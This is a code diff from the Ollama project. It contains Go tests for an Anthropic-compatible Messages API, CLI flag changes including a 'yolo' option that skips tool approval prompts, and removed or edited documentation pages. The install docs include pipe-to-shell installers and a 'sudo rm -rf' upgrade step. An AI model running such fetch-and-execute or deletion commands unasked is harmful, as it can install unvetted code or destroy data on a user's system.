}
func TestMapStopReason(t *testing.T) {
tests := []struct {
reason string
hasToolCalls bool
want string
}{
{"stop", false, "end_turn"},
{"length", false, "max_tokens"},
{"stop", true, "tool_use"},
{"other", false, "stop_sequence"},
{"", false, ""},
}
for _, tt := range tests {
got := mapStopReason(tt.reason, tt.hasToolCalls)
if got != tt.want {
t.Errorf("mapStopReason(%q, %v) = %q, want %q", tt.reason, tt.hasToolCalls, got, tt.want)
}
}
}
func TestNewError(t *testing.T) {
tests := []struct {
code int
want string
}{
{400, "invalid_request_error"},
{401, "authentication_error"},
{403, "permission_error"},
{404, "not_found_error"},
{429, "rate_limit_error"},
{500, "api_error"},
{503, "overloaded_error"},
{529, "overloaded_error"},
}
for _, tt := range tests {
result := NewError(tt.code, "test message")
if result.Type != "error" {
t.Errorf("NewError(%d) type = %q, want 'error'", tt.code, result.Type)
}
if result.Error.Type != tt.want {
t.Errorf("NewError(%d) error.type = %q, want %q", tt.code, result.Error.Type, tt.want)
}
if result.Error.Message != "test message" {
t.Errorf("NewError(%d) message = %q, want 'test message'", tt.code, result.Error.Message)
}
if result.RequestID == "" {
t.Errorf("NewError(%d) request_id should not be empty", tt.code)
}
}
}
func TestGenerateMessageID(t *testing.T) {
id1 := GenerateMessageID()
id2 := GenerateMessageID()
if id1 == "" {
t.Error("GenerateMessageID returned empty string")
}
if id1 == id2 {
t.Error("GenerateMessageID returned duplicate IDs")
}
if len(id1) < 10 {
t.Errorf("GenerateMessageID returned short ID: %q", id1)
}
if id1[:4] != "msg_" {
t.Errorf("GenerateMessageID should start with 'msg_', got %q", id1[:4])
}
}
func TestStreamConverter_Basic(t *testing.T) {
conv := NewStreamConverter("msg_123", "test-model")
// First chunk
resp1 := api.ChatResponse{
Model: "test-model",
Message: api.Message{
Role: "assistant",
Content: "Hello",
},
Metrics: api.Metrics{PromptEvalCount: 10},
}
events1 := conv.Process(resp1)
if len(events1) < 3 {
t.Fatalf("expected at least 3 events for first chunk, got %d", len(events1))
}
// Should have message_start, content_block_start, content_block_delta
if events1[0].Event != "message_start" {
t.Errorf("expected first event 'message_start', got %q", events1[0].Event)
}
if events1[1].Event != "content_block_start" {
t.Errorf("expected second event 'content_block_start', got %q", events1[1].Event)
}
if events1[2].Event != "content_block_delta" {
t.Errorf("expected third event 'content_block_delta', got %q", events1[2].Event)
}
// Final chunk
resp2 := api.ChatResponse{
Model: "test-model",
Message: api.Message{
Role: "assistant",
Content: " world!",
},
Done: true,
DoneReason: "stop",
Metrics: api.Metrics{EvalCount: 5},
}
events2 := conv.Process(resp2)
// Should have content_block_delta, content_block_stop, message_delta, message_stop
hasStop := false
for _, e := range events2 {
if e.Event == "message_stop" {
hasStop = true
}
}
if !hasStop {
t.Error("expected message_stop event in final chunk")
}
}
func TestStreamConverter_WithToolCalls(t *testing.T) {
conv := NewStreamConverter("msg_123", "test-model")
resp := api.ChatResponse{
Model: "test-model",
Message: api.Message{
Role: "assistant",
ToolCalls: []api.ToolCall{
{
ID: "call_123",
Function: api.ToolCallFunction{
Name: "get_weather",
Arguments: testArgs(map[string]any{"location": "Paris"}),
},
},
},
},
Done: true,
DoneReason: "stop",
Metrics: api.Metrics{PromptEvalCount: 10, EvalCount: 5},
}
events := conv.Process(resp)
hasToolStart := false
hasToolDelta := false
for _, e := range events {
if e.Event == "content_block_start" {
if start, ok := e.Data.(ContentBlockStartEvent); ok {
if start.ContentBlock.Type == "tool_use" {
hasToolStart = true
}
}
}
if e.Event == "content_block_delta" {
if delta, ok := e.Data.(ContentBlockDeltaEvent); ok {
if delta.Delta.Type == "input_json_delta" {
hasToolDelta = true
}
}
}
}
if !hasToolStart {
t.Error("expected tool_use content_block_start event")
}
if !hasToolDelta {
t.Error("expected input_json_delta event")
}
}
func TestStreamConverter_ToolCallWithUnmarshalableArgs(t *testing.T) {
// Test that unmarshalable arguments (like channels) are handled gracefully
// and don't cause a panic or corrupt stream
conv := NewStreamConverter("msg_123", "test-model")
// Create a channel which cannot be JSON marshaled
unmarshalable := make(chan int)
badArgs := api.NewToolCallFunctionArguments()
badArgs.Set("channel", unmarshalable)
resp := api.ChatResponse{
Model: "test-model",
Message: api.Message{
Role: "assistant",
ToolCalls: []api.ToolCall{
{
ID: "call_bad",
Function: api.ToolCallFunction{
Name: "bad_function",
Arguments: badArgs,
},
},
},
},
Done: true,
DoneReason: "stop",
}
// Should not panic and should skip the unmarshalable tool call
events := conv.Process(resp)
// Verify no tool_use block was started (since marshal failed before block start)
hasToolStart := false
for _, e := range events {
if e.Event == "content_block_start" {
if start, ok := e.Data.(ContentBlockStartEvent); ok {
if start.ContentBlock.Type == "tool_use" {
hasToolStart = true
}
}
}
}
if hasToolStart {
t.Error("expected no tool_use block when arguments cannot be marshaled")
}
}
func TestStreamConverter_MultipleToolCallsWithMixedValidity(t *testing.T) {
// Test that valid tool calls still work when mixed with invalid ones
conv := NewStreamConverter("msg_123", "test-model")
unmarshalable := make(chan int)
badArgs := api.NewToolCallFunctionArguments()
badArgs.Set("channel", unmarshalable)
resp := api.ChatResponse{
Model: "test-model",
Message: api.Message{
Role: "assistant",
ToolCalls: []api.ToolCall{
{
ID: "call_good",
Function: api.ToolCallFunction{
Name: "good_function",
Arguments: testArgs(map[string]any{"location": "Paris"}),
},
},
{
ID: "call_bad",
Function: api.ToolCallFunction{
Name: "bad_function",
Arguments: badArgs,
},
},
},
},
Done: true,
DoneReason: "stop",
}
events := conv.Process(resp)
// Count tool_use blocks - should only have 1 (the valid one)
toolStartCount := 0
toolDeltaCount := 0
for _, e := range events {
if e.Event == "content_block_start" {
if start, ok := e.Data.(ContentBlockStartEvent); ok {
if start.ContentBlock.Type == "tool_use" {
toolStartCount++
if start.ContentBlock.Name != "good_function" {
t.Errorf("expected tool name 'good_function', got %q", start.ContentBlock.Name)
}
}
}
}
if e.Event == "content_block_delta" {
if delta, ok := e.Data.(ContentBlockDeltaEvent); ok {
if delta.Delta.Type == "input_json_delta" {
toolDeltaCount++
}
}
}
}
if toolStartCount != 1 {
t.Errorf("expected 1 tool_use block, got %d", toolStartCount)
}
if toolDeltaCount != 1 {
t.Errorf("expected 1 input_json_delta, got %d", toolDeltaCount)
}
}
// TestContentBlockJSON_EmptyFieldsPresent verifies that empty text and thinking fields
// are serialized in JSON output. The Anthropic SDK requires these fields to be present
// (even when empty) in content_block_start events to properly accumulate streaming deltas.
// Without these fields, the SDK throws: "TypeError: unsupported operand type(s) for +=: 'NoneType' and 'str'"
func TestContentBlockJSON_EmptyFieldsPresent(t *testing.T) {
tests := []struct {
name string
block ContentBlock
wantKeys []string
}{
{
name: "text block includes empty text field",
block: ContentBlock{
Type: "text",
Text: ptr(""),
},
wantKeys: []string{"type", "text"},
},
{
name: "thinking block includes empty thinking field",
block: ContentBlock{
Type: "thinking",
Thinking: ptr(""),
},
wantKeys: []string{"type", "thinking"},
},
{
name: "text block with content",
block: ContentBlock{
Type: "text",
Text: ptr("hello"),
},
wantKeys: []string{"type", "text"},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
data, err := json.Marshal(tt.block)
if err != nil {
t.Fatalf("failed to marshal: %v", err)
}
var result map[string]any
if err := json.Unmarshal(data, &result); err != nil {
t.Fatalf("failed to unmarshal: %v", err)
}
for _, key := range tt.wantKeys {
if _, ok := result[key]; !ok {
t.Errorf("expected key %q to be present in JSON output, got: %s", key, string(data))
}
}
})
}
}
// TestStreamConverter_ContentBlockStartIncludesEmptyFields verifies that content_block_start
// events include the required empty fields for SDK compatibility.
func TestStreamConverter_ContentBlockStartIncludesEmptyFields(t *testing.T) {
t.Run("text block start includes empty text", func(t *testing.T) {
conv := NewStreamConverter("msg_123", "test-model")
resp := api.ChatResponse{
Model: "test-model",
Message: api.Message{Role: "assistant", Content: "hello"},
}
events := conv.Process(resp)
var foundTextStart bool
for _, e := range events {
if e.Event == "content_block_start" {
if start, ok := e.Data.(ContentBlockStartEvent); ok {
if start.ContentBlock.Type == "text" {
foundTextStart = true
// Marshal and verify the text field is present
data, _ := json.Marshal(start)
var result map[string]any
json.Unmarshal(data, &result)
cb := result["content_block"].(map[string]any)
if _, ok := cb["text"]; !ok {
t.Error("content_block_start for text should include 'text' field")
}
}
}
}
}
if !foundTextStart {
t.Error("expected text content_block_start event")
}
})
t.Run("thinking block start includes empty thinking", func(t *testing.T) {
conv := NewStreamConverter("msg_123", "test-model")
resp := api.ChatResponse{
Model: "test-model",
Message: api.Message{Role: "assistant", Thinking: "let me think..."},
}
events := conv.Process(resp)
var foundThinkingStart bool
for _, e := range events {
if e.Event == "content_block_start" {
if start, ok := e.Data.(ContentBlockStartEvent); ok {
if start.ContentBlock.Type == "thinking" {
foundThinkingStart = true
data, _ := json.Marshal(start)
var result map[string]any
json.Unmarshal(data, &result)
cb := result["content_block"].(map[string]any)
if _, ok := cb["thinking"]; !ok {
t.Error("content_block_start for thinking should include 'thinking' field")
}
}
}
}
}
if !foundThinkingStart {
t.Error("expected thinking content_block_start event")
}
})
}

View File

@@ -46,8 +46,6 @@ import (
"github.com/ollama/ollama/types/syncmap"
"github.com/ollama/ollama/version"
xcmd "github.com/ollama/ollama/x/cmd"
"github.com/ollama/ollama/x/imagegen"
imagegenclient "github.com/ollama/ollama/x/imagegen/client"
)
const ConnectInstructions = "To sign in, navigate to:\n %s\n\n"
@@ -98,10 +96,6 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
filename, err := getModelfileName(cmd)
if os.IsNotExist(err) {
if filename == "" {
// No Modelfile found - check if current directory is an image gen model
if imagegen.IsTensorModelDir(".") {
return imagegenclient.CreateModel(args[0], ".", p)
}
reader = strings.NewReader("FROM .\n")
} else {
return errModelfileNotFound
@@ -463,15 +457,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
}
name := args[0]
// Check if this is a known image generation model (skip Show/Pull)
if imagegen.HasTensorLayers(name) {
if opts.Prompt == "" && !interactive {
return errors.New("image generation models require a prompt. Usage: ollama run " + name + " \"your prompt here\"")
}
return imagegen.RunCLI(cmd, name, opts.Prompt, interactive, opts.KeepAlive)
}
info, err := func() (*api.ShowResponse, error) {
showReq := &api.ShowRequest{Name: name}
info, err := client.Show(cmd.Context(), showReq)
@@ -535,7 +520,7 @@ func RunHandler(cmd *cobra.Command, args []string) error {
// Check for experimental flag
isExperimental, _ := cmd.Flags().GetBool("experimental")
yoloMode, _ := cmd.Flags().GetBool("experimental-yolo")
yoloMode, _ := cmd.Flags().GetBool("yolo")
if interactive {
if err := loadOrUnloadModel(cmd, &opts); err != nil {
@@ -837,11 +822,6 @@ func DeleteHandler(cmd *cobra.Command, args []string) error {
}
func ShowHandler(cmd *cobra.Command, args []string) error {
// Check if this is an image generation model
if imagegen.HasTensorLayers(args[0]) {
return imagegen.Show(args[0], os.Stdout)
}
client, err := api.ClientFromEnvironment()
if err != nil {
return err
@@ -1785,10 +1765,7 @@ func NewCLI() *cobra.Command {
runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead")
runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)")
runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools")
runCmd.Flags().Bool("experimental-yolo", false, "Skip all tool approval prompts (use with caution)")
// Image generation flags (width, height, steps, seed, etc.)
imagegen.RegisterFlags(runCmd)
runCmd.Flags().BoolP("yolo", "y", false, "Skip all tool approval prompts (use with caution)")
stopCmd := &cobra.Command{
Use: "stop MODEL",

View File

@@ -14,7 +14,6 @@
* [API Reference](https://docs.ollama.com/api)
* [Modelfile Reference](https://docs.ollama.com/modelfile)
* [OpenAI Compatibility](https://docs.ollama.com/api/openai-compatibility)
* [Anthropic Compatibility](./api/anthropic-compatibility.mdx)
### Resources

View File

@@ -1,406 +0,0 @@
---
title: Anthropic compatibility
---
Ollama provides compatibility with the [Anthropic Messages API](https://docs.anthropic.com/en/api/messages) to help connect existing applications to Ollama, including tools like Claude Code.
## Recommended models
For coding use cases, models like `glm-4.7:cloud`, `minimax-m2.1:cloud`, and `qwen3-coder` are recommended.
Pull a model before use:
```shell
ollama pull qwen3-coder
ollama pull glm-4.7:cloud
```
## Usage
### Environment variables
To use Ollama with tools that expect the Anthropic API (like Claude Code), set these environment variables:
```shell
export ANTHROPIC_BASE_URL=http://localhost:11434
export ANTHROPIC_API_KEY=ollama # required but ignored
```
### Simple `/v1/messages` example
<CodeGroup dropdown>
```python basic.py
import anthropic
client = anthropic.Anthropic(
base_url='http://localhost:11434',
api_key='ollama', # required but ignored
)
message = client.messages.create(
model='qwen3-coder',
max_tokens=1024,
messages=[
{'role': 'user', 'content': 'Hello, how are you?'}
]
)
print(message.content[0].text)
```
```javascript basic.js
import Anthropic from "@anthropic-ai/sdk";
const anthropic = new Anthropic({
baseURL: "http://localhost:11434",
apiKey: "ollama", // required but ignored
});
const message = await anthropic.messages.create({
model: "qwen3-coder",
max_tokens: 1024,
messages: [{ role: "user", content: "Hello, how are you?" }],
});
console.log(message.content[0].text);
```
```shell basic.sh
curl -X POST http://localhost:11434/v1/messages \
-H "Content-Type: application/json" \
-H "x-api-key: ollama" \
-H "anthropic-version: 2023-06-01" \
-d '{
"model": "qwen3-coder",
"max_tokens": 1024,
"messages": [{ "role": "user", "content": "Hello, how are you?" }]
}'
```
</CodeGroup>
### Streaming example
<CodeGroup dropdown>
```python streaming.py
import anthropic
client = anthropic.Anthropic(
base_url='http://localhost:11434',
api_key='ollama',
)
with client.messages.stream(
model='qwen3-coder',
max_tokens=1024,
messages=[{'role': 'user', 'content': 'Count from 1 to 10'}]
) as stream:
for text in stream.text_stream:
print(text, end='', flush=True)
```
```javascript streaming.js
import Anthropic from "@anthropic-ai/sdk";
const anthropic = new Anthropic({
baseURL: "http://localhost:11434",
apiKey: "ollama",
});
const stream = await anthropic.messages.stream({
model: "qwen3-coder",
max_tokens: 1024,
messages: [{ role: "user", content: "Count from 1 to 10" }],
});
for await (const event of stream) {
if (
event.type === "content_block_delta" &&
event.delta.type === "text_delta"
) {
process.stdout.write(event.delta.text);
}
}
```
```shell streaming.sh
curl -X POST http://localhost:11434/v1/messages \
-H "Content-Type: application/json" \
-d '{
"model": "qwen3-coder",
"max_tokens": 1024,
"stream": true,
"messages": [{ "role": "user", "content": "Count from 1 to 10" }]
}'
```
</CodeGroup>
### Tool calling example
<CodeGroup dropdown>
```python tools.py
import anthropic
client = anthropic.Anthropic(
base_url='http://localhost:11434',
api_key='ollama',
)
message = client.messages.create(
model='qwen3-coder',
max_tokens=1024,
tools=[
{
'name': 'get_weather',
'description': 'Get the current weather in a location',
'input_schema': {
'type': 'object',
'properties': {
'location': {
'type': 'string',
'description': 'The city and state, e.g. San Francisco, CA'
}
},
'required': ['location']
}
}
],
messages=[{'role': 'user', 'content': "What's the weather in San Francisco?"}]
)
for block in message.content:
if block.type == 'tool_use':
print(f'Tool: {block.name}')
print(f'Input: {block.input}')
```
```javascript tools.js
import Anthropic from "@anthropic-ai/sdk";
const anthropic = new Anthropic({
baseURL: "http://localhost:11434",
apiKey: "ollama",
});
const message = await anthropic.messages.create({
model: "qwen3-coder",
max_tokens: 1024,
tools: [
{
name: "get_weather",
description: "Get the current weather in a location",
input_schema: {
type: "object",
properties: {
location: {
type: "string",
description: "The city and state, e.g. San Francisco, CA",
},
},
required: ["location"],
},
},
],
messages: [{ role: "user", content: "What's the weather in San Francisco?" }],
});
for (const block of message.content) {
if (block.type === "tool_use") {
console.log("Tool:", block.name);
console.log("Input:", block.input);
}
}
```
```shell tools.sh
curl -X POST http://localhost:11434/v1/messages \
-H "Content-Type: application/json" \
-d '{
"model": "qwen3-coder",
"max_tokens": 1024,
"tools": [
{
"name": "get_weather",
"description": "Get the current weather in a location",
"input_schema": {
"type": "object",
"properties": {
"location": {
"type": "string",
"description": "The city and state"
}
},
"required": ["location"]
}
}
],
"messages": [{ "role": "user", "content": "What is the weather in San Francisco?" }]
}'
```
</CodeGroup>
## Using with Claude Code
[Claude Code](https://code.claude.com/docs/en/overview) can be configured to use Ollama as its backend:
```shell
ANTHROPIC_BASE_URL=http://localhost:11434 ANTHROPIC_API_KEY=ollama claude --model qwen3-coder
```
Or set the environment variables in your shell profile:
```shell
export ANTHROPIC_BASE_URL=http://localhost:11434
export ANTHROPIC_API_KEY=ollama
```
Then run Claude Code with any Ollama model:
```shell
# Local models
claude --model qwen3-coder
claude --model gpt-oss:20b
# Cloud models
claude --model glm-4.7:cloud
claude --model minimax-m2.1:cloud
```
## Endpoints
### `/v1/messages`
#### Supported features
- [x] Messages
- [x] Streaming
- [x] System prompts
- [x] Multi-turn conversations
- [x] Vision (images)
- [x] Tools (function calling)
- [x] Tool results
- [x] Thinking/extended thinking
#### Supported request fields
- [x] `model`
- [x] `max_tokens`
- [x] `messages`
- [x] Text `content`
- [x] Image `content` (base64)
- [x] Array of content blocks
- [x] `tool_use` blocks
- [x] `tool_result` blocks
- [x] `thinking` blocks
- [x] `system` (string or array)
- [x] `stream`
- [x] `temperature`
- [x] `top_p`
- [x] `top_k`
- [x] `stop_sequences`
- [x] `tools`
- [x] `thinking`
- [ ] `tool_choice`
- [ ] `metadata`
#### Supported response fields
- [x] `id`
- [x] `type`
- [x] `role`
- [x] `model`
- [x] `content` (text, tool_use, thinking blocks)
- [x] `stop_reason` (end_turn, max_tokens, tool_use)
- [x] `usage` (input_tokens, output_tokens)
#### Streaming events
- [x] `message_start`
- [x] `content_block_start`
- [x] `content_block_delta` (text_delta, input_json_delta, thinking_delta)
- [x] `content_block_stop`
- [x] `message_delta`
- [x] `message_stop`
- [x] `ping`
- [x] `error`
## Models
Ollama supports both local and cloud models.
### Local models
Pull a local model before use:
```shell
ollama pull qwen3-coder
```
Recommended local models:
- `qwen3-coder` - Excellent for coding tasks
- `gpt-oss:20b` - Strong general-purpose model
### Cloud models
Cloud models are available immediately without pulling:
- `glm-4.7:cloud` - High-performance cloud model
- `minimax-m2.1:cloud` - Fast cloud model
### Default model names
For tooling that relies on default Anthropic model names such as `claude-3-5-sonnet`, use `ollama cp` to copy an existing model name:
```shell
ollama cp qwen3-coder claude-3-5-sonnet
```
Afterwards, this new model name can be specified in the `model` field:
```shell
curl http://localhost:11434/v1/messages \
-H "Content-Type: application/json" \
-d '{
"model": "claude-3-5-sonnet",
"max_tokens": 1024,
"messages": [
{
"role": "user",
"content": "Hello!"
}
]
}'
```
## Differences from the Anthropic API
### Behavior differences
- API key is accepted but not validated
- `anthropic-version` header is accepted but not used
- Token counts are approximations based on the underlying model's tokenizer
### Not supported
The following Anthropic API features are not currently supported:
| Feature | Description |
|---------|-------------|
| `/v1/messages/count_tokens` | Token counting endpoint |
| `tool_choice` | Forcing specific tool use or disabling tools |
| `metadata` | Request metadata (user_id) |
| Prompt caching | `cache_control` blocks for caching prefixes |
| Batches API | `/v1/messages/batches` for async batch processing |
| Citations | `citations` content blocks |
| PDF support | `document` content blocks with PDF files |
| Server-sent errors | `error` events during streaming (errors return HTTP status) |
### Partial support
| Feature | Status |
|---------|--------|
| Image content | Base64 images supported; URL images not supported |
| Extended thinking | Basic support; `budget_tokens` accepted but not enforced |

View File

@@ -32,9 +32,7 @@
"codeblocks": "system"
},
"contextual": {
"options": [
"copy"
]
"options": ["copy"]
},
"navbar": {
"links": [
@@ -54,9 +52,7 @@
"display": "simple"
},
"examples": {
"languages": [
"curl"
]
"languages": ["curl"]
}
},
"redirects": [
@@ -101,7 +97,6 @@
{
"group": "Integrations",
"pages": [
"/integrations/claude-code",
"/integrations/vscode",
"/integrations/jetbrains",
"/integrations/codex",
@@ -144,8 +139,7 @@
"/api/streaming",
"/api/usage",
"/api/errors",
"/api/openai-compatibility",
"/api/anthropic-compatibility"
"/api/openai-compatibility"
]
},
{

View File

@@ -1,69 +0,0 @@
---
title: Claude Code
---
## Install
Install [Claude Code](https://code.claude.com/docs/en/overview):
<CodeGroup>
```shell macOS / Linux
curl -fsSL https://claude.ai/install.sh | bash
```
```powershell Windows
irm https://claude.ai/install.ps1 | iex
```
</CodeGroup>
## Usage with Ollama
Claude Code connects to Ollama using the Anthropic-compatible API.
1. Set the environment variables:
```shell
export ANTHROPIC_BASE_URL=http://localhost:11434
export ANTHROPIC_API_KEY=ollama
```
2. Run Claude Code with an Ollama model:
```shell
claude --model qwen3-coder
```
Or run with environment variables inline:
```shell
ANTHROPIC_BASE_URL=http://localhost:11434 ANTHROPIC_API_KEY=ollama claude --model qwen3-coder
```
## Connecting to ollama.com
1. Create an [API key](https://ollama.com/settings/keys) on ollama.com
2. Set the environment variables:
```shell
export ANTHROPIC_BASE_URL=https://ollama.com
export ANTHROPIC_API_KEY=<your-api-key>
```
3. Run Claude Code with a cloud model:
```shell
claude --model glm-4.7:cloud
```
## Recommended Models
### Cloud models
- `glm-4.7:cloud` - High-performance cloud model
- `minimax-m2.1:cloud` - Fast cloud model
- `qwen3-coder:480b` - Large coding model
### Local models
- `qwen3-coder` - Excellent for coding tasks
- `gpt-oss:20b` - Strong general-purpose model

View File

@@ -1,5 +1,5 @@
---
title: "Linux"
title: Linux
---
## Install
@@ -13,14 +13,15 @@ curl -fsSL https://ollama.com/install.sh | sh
## Manual install
<Note>
If you are upgrading from a prior version, you should remove the old libraries with `sudo rm -rf /usr/lib/ollama` first.
If you are upgrading from a prior version, you should remove the old libraries
with `sudo rm -rf /usr/lib/ollama` first.
</Note>
Download and extract the package:
```shell
curl -fsSL https://ollama.com/download/ollama-linux-amd64.tgz \
| sudo tar zx -C /usr
curl -fsSL https://ollama.com/download/ollama-linux-amd64.tar.zst \
| sudo tar x -C /usr
```
Start Ollama:
@@ -40,8 +41,8 @@ ollama -v
If you have an AMD GPU, also download and extract the additional ROCm package:
```shell
curl -fsSL https://ollama.com/download/ollama-linux-amd64-rocm.tgz \
| sudo tar zx -C /usr
curl -fsSL https://ollama.com/download/ollama-linux-amd64-rocm.tar.zst \
| sudo tar x -C /usr
```
### ARM64 install
@@ -49,8 +50,8 @@ curl -fsSL https://ollama.com/download/ollama-linux-amd64-rocm.tgz \
Download and extract the ARM64-specific package:
```shell
curl -fsSL https://ollama.com/download/ollama-linux-arm64.tgz \
| sudo tar zx -C /usr
curl -fsSL https://ollama.com/download/ollama-linux-arm64.tar.zst \
| sudo tar x -C /usr
```
### Adding Ollama as a startup service (recommended)
@@ -112,7 +113,11 @@ sudo systemctl status ollama
```
<Note>
While AMD has contributed the `amdgpu` driver upstream to the official linux kernel source, the version is older and may not support all ROCm features. We recommend you install the latest driver from https://www.amd.com/en/support/linux-drivers for best support of your Radeon GPU.
While AMD has contributed the `amdgpu` driver upstream to the official linux
kernel source, the version is older and may not support all ROCm features. We
recommend you install the latest driver from
https://www.amd.com/en/support/linux-drivers for best support of your Radeon
GPU.
</Note>
## Customizing
@@ -141,8 +146,8 @@ curl -fsSL https://ollama.com/install.sh | sh
Or by re-downloading Ollama:
```shell
curl -fsSL https://ollama.com/download/ollama-linux-amd64.tgz \
| sudo tar zx -C /usr
curl -fsSL https://ollama.com/download/ollama-linux-amd64.tar.zst \
| sudo tar x -C /usr
```
## Installing specific versions
@@ -191,4 +196,4 @@ Remove the downloaded models and Ollama service user and group:
sudo userdel ollama
sudo groupdel ollama
sudo rm -r /usr/share/ollama
```
```

3
docs/troubleshooting.md Normal file
View File

@@ -0,0 +1,3 @@
# Troubleshooting
For troubleshooting, see [https://docs.ollama.com/troubleshooting](https://docs.ollama.com/troubleshooting)

View File

@@ -1,149 +0,0 @@
package middleware
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"github.com/gin-gonic/gin"
"github.com/ollama/ollama/anthropic"
"github.com/ollama/ollama/api"
)
// AnthropicWriter wraps the response writer to transform Ollama responses to Anthropic format
type AnthropicWriter struct {
BaseWriter
stream bool
id string
model string
converter *anthropic.StreamConverter
}
func (w *AnthropicWriter) writeError(data []byte) (int, error) {
var errData struct {
Error string `json:"error"`
}
if err := json.Unmarshal(data, &errData); err != nil {
return 0, err
}
w.ResponseWriter.Header().Set("Content-Type", "application/json")
err := json.NewEncoder(w.ResponseWriter).Encode(anthropic.NewError(w.ResponseWriter.Status(), errData.Error))
if err != nil {
return 0, err
}
return len(data), nil
}
func (w *AnthropicWriter) writeEvent(eventType string, data any) error {
d, err := json.Marshal(data)
if err != nil {
return err
}
_, err = w.ResponseWriter.Write([]byte(fmt.Sprintf("event: %s\ndata: %s\n\n", eventType, d)))
if err != nil {
return err
}
if f, ok := w.ResponseWriter.(http.Flusher); ok {
f.Flush()
}
return nil
}
func (w *AnthropicWriter) writeResponse(data []byte) (int, error) {
var chatResponse api.ChatResponse
err := json.Unmarshal(data, &chatResponse)
if err != nil {
return 0, err
}
if w.stream {
w.ResponseWriter.Header().Set("Content-Type", "text/event-stream")
events := w.converter.Process(chatResponse)
for _, event := range events {
if err := w.writeEvent(event.Event, event.Data); err != nil {
return 0, err
}
}
return len(data), nil
}
w.ResponseWriter.Header().Set("Content-Type", "application/json")
response := anthropic.ToMessagesResponse(w.id, chatResponse)
return len(data), json.NewEncoder(w.ResponseWriter).Encode(response)
}
func (w *AnthropicWriter) Write(data []byte) (int, error) {
code := w.ResponseWriter.Status()
if code != http.StatusOK {
return w.writeError(data)
}
return w.writeResponse(data)
}
// AnthropicMessagesMiddleware handles Anthropic Messages API requests
func AnthropicMessagesMiddleware() gin.HandlerFunc {
return func(c *gin.Context) {
var req anthropic.MessagesRequest
err := c.ShouldBindJSON(&req)
if err != nil {
c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, err.Error()))
return
}
if req.Model == "" {
c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, "model is required"))
return
}
if req.MaxTokens <= 0 {
c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, "max_tokens is required and must be positive"))
return
}
if len(req.Messages) == 0 {
c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, "messages is required"))
return
}
chatReq, err := anthropic.FromMessagesRequest(req)
if err != nil {
c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, err.Error()))
return
}
var b bytes.Buffer
if err := json.NewEncoder(&b).Encode(chatReq); err != nil {
c.AbortWithStatusJSON(http.StatusInternalServerError, anthropic.NewError(http.StatusInternalServerError, err.Error()))
return
}
c.Request.Body = io.NopCloser(&b)
messageID := anthropic.GenerateMessageID()
w := &AnthropicWriter{
BaseWriter: BaseWriter{ResponseWriter: c.Writer},
stream: req.Stream,
id: messageID,
model: req.Model,
converter: anthropic.NewStreamConverter(messageID, req.Model),
}
if req.Stream {
c.Writer.Header().Set("Content-Type", "text/event-stream")
c.Writer.Header().Set("Cache-Control", "no-cache")
c.Writer.Header().Set("Connection", "keep-alive")
}
c.Writer = w
c.Next()
}
}

View File

@@ -1,584 +0,0 @@
package middleware
import (
"bytes"
"encoding/json"
"io"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/gin-gonic/gin"
"github.com/google/go-cmp/cmp"
"github.com/google/go-cmp/cmp/cmpopts"
"github.com/ollama/ollama/anthropic"
"github.com/ollama/ollama/api"
)
func captureAnthropicRequest(capturedRequest any) gin.HandlerFunc {
return func(c *gin.Context) {
bodyBytes, _ := io.ReadAll(c.Request.Body)
c.Request.Body = io.NopCloser(bytes.NewReader(bodyBytes))
_ = json.Unmarshal(bodyBytes, capturedRequest)
c.Next()
}
}
// testProps creates ToolPropertiesMap from a map (convenience function for tests)
func testProps(m map[string]api.ToolProperty) *api.ToolPropertiesMap {
props := api.NewToolPropertiesMap()
for k, v := range m {
props.Set(k, v)
}
return props
}
func TestAnthropicMessagesMiddleware(t *testing.T) {
type testCase struct {
name string
body string
req api.ChatRequest
err anthropic.ErrorResponse
}
var capturedRequest *api.ChatRequest
stream := true
testCases := []testCase{
{
name: "basic message",
body: `{
"model": "test-model",
"max_tokens": 1024,
"messages": [
{"role": "user", "content": "Hello"}
]
}`,
req: api.ChatRequest{
Model: "test-model",
Messages: []api.Message{
{Role: "user", Content: "Hello"},
},
Options: map[string]any{"num_predict": 1024},
Stream: &False,
},
},
{
name: "with system prompt",
body: `{
"model": "test-model",
"max_tokens": 1024,
"system": "You are helpful.",
"messages": [
{"role": "user", "content": "Hello"}
]
}`,
req: api.ChatRequest{
Model: "test-model",
Messages: []api.Message{
{Role: "system", Content: "You are helpful."},
{Role: "user", Content: "Hello"},
},
Options: map[string]any{"num_predict": 1024},
Stream: &False,
},
},
{
name: "with options",
body: `{
"model": "test-model",
"max_tokens": 2048,
"temperature": 0.7,
"top_p": 0.9,
"top_k": 40,
"stop_sequences": ["\n", "END"],
"messages": [
{"role": "user", "content": "Hello"}
]
}`,
req: api.ChatRequest{
Model: "test-model",
Messages: []api.Message{
{Role: "user", Content: "Hello"},
},
Options: map[string]any{
"num_predict": 2048,
"temperature": 0.7,
"top_p": 0.9,
"top_k": 40,
"stop": []string{"\n", "END"},
},
Stream: &False,
},
},
{
name: "streaming",
body: `{
"model": "test-model",
"max_tokens": 1024,
"stream": true,
"messages": [
{"role": "user", "content": "Hello"}
]
}`,
req: api.ChatRequest{
Model: "test-model",
Messages: []api.Message{
{Role: "user", Content: "Hello"},
},
Options: map[string]any{"num_predict": 1024},
Stream: &stream,
},
},
{
name: "with tools",
body: `{
"model": "test-model",
"max_tokens": 1024,
"messages": [
{"role": "user", "content": "What's the weather?"}
],
"tools": [{
"name": "get_weather",
"description": "Get current weather",
"input_schema": {
"type": "object",
"properties": {
"location": {"type": "string"}
},
"required": ["location"]
}
}]
}`,
req: api.ChatRequest{
Model: "test-model",
Messages: []api.Message{
{Role: "user", Content: "What's the weather?"},
},
